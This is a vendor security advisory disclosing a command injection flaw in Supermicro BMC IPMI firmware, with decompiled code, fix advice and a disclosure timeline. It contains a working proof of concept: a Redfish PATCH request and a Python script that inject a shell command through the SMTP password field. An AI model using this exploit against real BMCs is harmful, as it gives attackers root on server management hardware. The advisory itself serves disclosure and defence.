Command injection vulnerability in Supermicro BMC IPMI firmware
BINARLY team has discovered a command injection vulnerability in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to execute arbitrary code.
Image preview
Potential Impact
An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2023-022
- Supermicro advisory: https://www.supermicro.com/en/support/security_BMC_IPMI_Apr_2024
- BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Supermicro PSIRT calculated CVSS v3.1: 7.2 High AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Image preview
Affected Supermicro firmwares
| Device | Version | SHA256 |
|---|---|---|
H12SSL-C/H12SSL-CT/H12SSL-i/H12SSL-NT | 01.01.10 | 66d376c40641bfdb9196244973fdf9d297c26f7fa48981a625ce7800448fafd9 |
Image preview
Vulnerability description
Supermicro BMC IPMI has a feature to send notification/alerts via email. User with administrative privileges can configure this notifications using the web interface via Configuration->Notifications->Alerts and SMTP server settings using Configuration->Notifications->SMTP menu.
On the server side, these values are stored and then used to send emails when notification/alert conditions are met, which results in the code located at offset 0xDFE44 in the libipmi.so binary is executed.
if ( UtilGetSMTPAuthEn(hostname) ) // if SMTP credentials were configured
{
UtilGetSMTPUserName(smtp_username, 65);
UtilGetSMTPPassword(smtp_password, 65);
if ( add_escape(smtp_username, smtp_username_esc) || add_escape(smtp_password, smtp_password_esc) )
{
j_console_log("[%s:%d]Fail to add escape for username or password\n", "SMTPClientSendMail", 3831);
free(command);
free(ptr);
return 0;
}
res = _snprintf_chk(
command,
4096,
1,
4096,
"%s --host=%s --port=%d --domain=%s --timeout=1 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s > %s 2>&1",
"/bin/msmtp",
host,
port,
domain,
smtp_username,
smtp_password,
sender,
recipient,
filename);
}
...
run_shellcmd(command);
If the user provided SMTP server credentials during configuration, they will be passed to the add_escape function in order to get escaped strings smtp_username_esc and smtp_password_esc. But to build the shell command, initial values smtp_username and smtp_password are used, so it is possible to perform OS command injection:
PATCH /redfish/v1/EventService/ HTTP/1.1
Host: 192.168.1.10:443
Content-Type: application/json
X-Auth-Token: oqh478pfd1lowbqsde17ivionc31znn4
Content-Length: 190
{"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"test@test.com","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}
Image preview
Steps for exploitation
Below is the minimum PoC leading to RCE:
import requests
HOST = "192.168.1.10"
PORT = 443
X_AUTH_TOKEN = "oqh478pfd1lowbqsde17ivionc31znn4"
PAYLOAD = "echo BRLY >/tmp/poc"
headers = {"X_AUTH_TOKEN": X_AUTH_TOKEN}
def config_alert():
url = f"https://{HOST}:{PORT}/redfish/v1/EventService/Subscriptions/1"
json_data = {"Context": "test", "Destination": "example@main.com", "EventTypes": ["Alert", "ResourceAdded", "ResourceRemoved", "ResourceUpdated", "StatusChange"], "Oem": {"Supermicro": {"EnableSubscription": True, "Severity": "Information", "SMTPSubject": "test"}}, "Protocol": "SMTP"}
requests.patch(url, headers=headers, json=json_data, verify=False)
def config_smtp():
url = f"https://{HOST}:{PORT}/redfish/v1/EventService/"
json_data = {"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"test@test.com","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}
requests.patch(url, headers=headers, json=json_data, verify=False)
if __name__ == "__main__":
config_alert()
config_smtp()
Image preview
How to fix it
Ideally, user input should not be used in OS commands, instead, platform APIs or functional libraries are recommended. If it is not possible in such case, parameters passed to shell string must be checked against a whitelist of allowed characters.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
Supermicro PSIRT is notified | 2023-12-22 |
Supermicro PSIRT confirmed reported issue | 2024-02-13 |
Supermicro public disclosure date | 2024-04-02 |
BINARLY public disclosure date | 2024-09-16 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs